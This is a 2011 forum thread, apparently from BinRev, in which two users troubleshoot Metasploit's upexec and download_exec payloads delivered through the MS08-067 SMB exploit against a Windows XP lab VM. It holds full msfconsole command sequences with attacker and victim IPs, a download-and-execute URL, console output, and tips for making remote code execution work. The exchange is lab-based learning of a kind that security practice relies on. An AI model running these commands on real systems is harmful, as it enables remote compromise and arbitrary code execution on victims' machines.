Jump to content


Photo
- - - - -

Metasploit payload upexec / download_exec not working?


  • Please log in to reply
5 replies to this topic

#1 HiramKey

HiramKey

    Will I break 10 posts?

  • Members
  • 4 posts
  • Gender:Male

Posted 01 February 2011 - 10:02 AM

I never explored the upexec and download_exec payloads of the metasploit framework.

So the purpose of the test is to download / upload and execute an exe file as payload.
To make some tests I’m using two VM, one with BT4 RC2 and an XP Sp2 as victim.
The victim has the firewall disabled and no antivirus.
I’m trying to upload/download and execute the windows calculator (calc.exe)

I know that with a meterpeter session is possible with a simple upload and execute, but I’m experiencing some problems with both the following procedures:

1 ------------ WITH UPEXEC:
use exploit/windows/smb/ms08_067_netapi
set payload windows/upexec/reverse_tcp
set lhost 192.168.1.1
set rhost 192.168.1.2
set pexec /root/data/payloads/test/calc.exe
exploit

I got…

Started reverse handler on 192.168.1.1:4444
Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 2
Selected Target: Windows XP SP2 (NX)
Attempting to trigger the vulnerability...
Sending stage (398 bytes) to 192.168.1.2
Sleeping before handling stage...

And it hang so without any result, the victim do not run the calc.exe

2 ------------ WITH DOWNLOAD_EXEC:
use exploit/windows/smb/ms08_067_netapi
set payload windows/download_exec
set lhost 192.168.1.1
set rhost 192.168.1.2
set url http://192.168.1.1/c.exe (httpd obviously active)
exploit

I got…

Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 2
Selected Target: Windows XP SP2 (NX)
Attempting to trigger the vulnerability...
Exploit completed, but no session was created.

Even in that case the exe will not be executed on the victim…

So I think I’m missing something:
1. Am I doing something wrong with the procedure?
2. Does a win32 exe need to be pre encoded in a different format to be injected?

Does somebody here on the community able to use that payload and so kind to help me.

Namasté.

#2 d3xt3r

d3xt3r

    SCRiPT KiDDie

  • Members
  • 20 posts
  • Gender:Male

Posted 03 February 2011 - 12:31 AM

Well !! for the upexec reverse payload ...is the exe and handler you executed listening on same port.
Maybe you can try by setting the InitialAutoRunScript to migrate.rb.

Also you can set the TARGET OS rather than going for Automatic detection.

hope it helps

Edited by d3xt3r, 03 February 2011 - 12:33 AM.


#3 HiramKey

HiramKey

    Will I break 10 posts?

  • Members
  • 4 posts
  • Gender:Male

Posted 03 February 2011 - 06:58 AM

Hi d3xt3r,

Regarding the DOWNLOAD_EXEC:

I finally got a solution:

I will never get an app shown… since smb is executed under system.

So I have executed again all the tests this time only with an ftp server,
and I have learnt a couple of things on download_exec:

1. The parameter url MUST be max 24 characters
2. It MUST contain the http://
3. The exe DO NOT NEED any particular file extension (.exe)

So in the worst case scenario you will have only ONE char to name the payload:
http://100.100.100.100/f (24 chars)

4. Comodo HIPS/Firewall
One more thing, I do not exactly understand how, but if you are running tests between two VMs, and you are using the Comodo firewall on the host, you need to turn it down, it seems to fake some transmission between the two VM…

So coming back to the first point I can say download_exec is SOLVED.

--------------

ON UPEXEC:

I’m still working on upexec that still not working,
but in that case I think that there is really something I’m misunderstanding on the use of this payload
since it return to me a message that I’m not able to understand:

Started reverse handler on 192.168.1.1:4444
Attempting to trigger the vulnerability...
Sending stage (398 bytes) to 192.168.1.2
Sleeping before handling stage...

windows/upexec/reverse_tcp do a reverse tcp… ok but for what??
To uplad the file ?
Because it expect that the pexec is a meterpeter bin (or something) trying to connect back?

I do not get the sense of the payload…

In my mind this path have sense: 1. Explot 2. Upload 3. Execute and that’s all.

Obviously I’m missing something, what’s the purpose of the reverse_tcp?

I have also manually set the target os, but the result is the same is still waiting for spomething...

Again: what’s the purpose of the reverse_tcp? List for a connection for what since we are uploading and executing???
And why the file is not uploaded and executed since the path is correct....

When you have 5 minutes please check it for me: how is working the upexec...

Edited by HiramKey, 03 February 2011 - 06:59 AM.


#4 d3xt3r

d3xt3r

    SCRiPT KiDDie

  • Members
  • 20 posts
  • Gender:Male

Posted 03 February 2011 - 08:12 AM

Well !!! I got it wrong.....what i was trying to do was upload an executable that executes and connects back to me.

But the info for upexec/reverse_tcp payload says "Connect back to the attacker, Uploads an executable and runs it". I think the payload itself tries to connect back to the LHOST.

I tried in on my Virtual Machine and it isn't working, i got stuck at the same place as you did.
Have tried running exploit in job's context still no advancement.

Let me know, if you find something.

#5 HiramKey

HiramKey

    Will I break 10 posts?

  • Members
  • 4 posts
  • Gender:Male

Posted 03 February 2011 - 09:13 PM

I'm happy ;) You too...

From the manual:
Win32 UploadExec Payloads: Although Unix systems normally include all of the tools you need for postexploitation, Windows systems are notoriously lacking in a decent command line toolkit. The windows/upexec/* payloads included in this release allow you to simultaneously exploit a Windows system, upload your favorite tool, and execute it, all across the payload socket connection. When combined with a self-extracting rootkit or scripting language interpreter (perl.exe!), this can be a very powerful feature. The Meterpreter payloads are usually much better suited for penetration testing tasks.

So it should:
1. Exploit
2. Upload
3. Execute

But... all across the "payload" socket connection...
Is the socket connection should be managed by the payload itself and not by the "uploaded tool"...

For a paranoid like me this tool should be much better than the download one, being more versatile...
since you do not have to manage any eventual log on outgoing http connections on the exploited sys.

Some ideas to try:
1. Nature / encoding / size (smaller) / name (shorter) / escape chars (coded?) ... of the exec...
2. The path is checked since a wrong path throw an error
3. Extra parameters missing... (I will double check on the metas's website on the payload page)
4. Client and server ports mismatching, trying with different ports on both the sided...

Any other idea???

Let me know you too.

#6 d3xt3r

d3xt3r

    SCRiPT KiDDie

  • Members
  • 20 posts
  • Gender:Male

Posted 03 February 2011 - 10:45 PM

Thanks ...that was enlightening.

:smile:




BinRev is hosted by the great people at Lunarpages!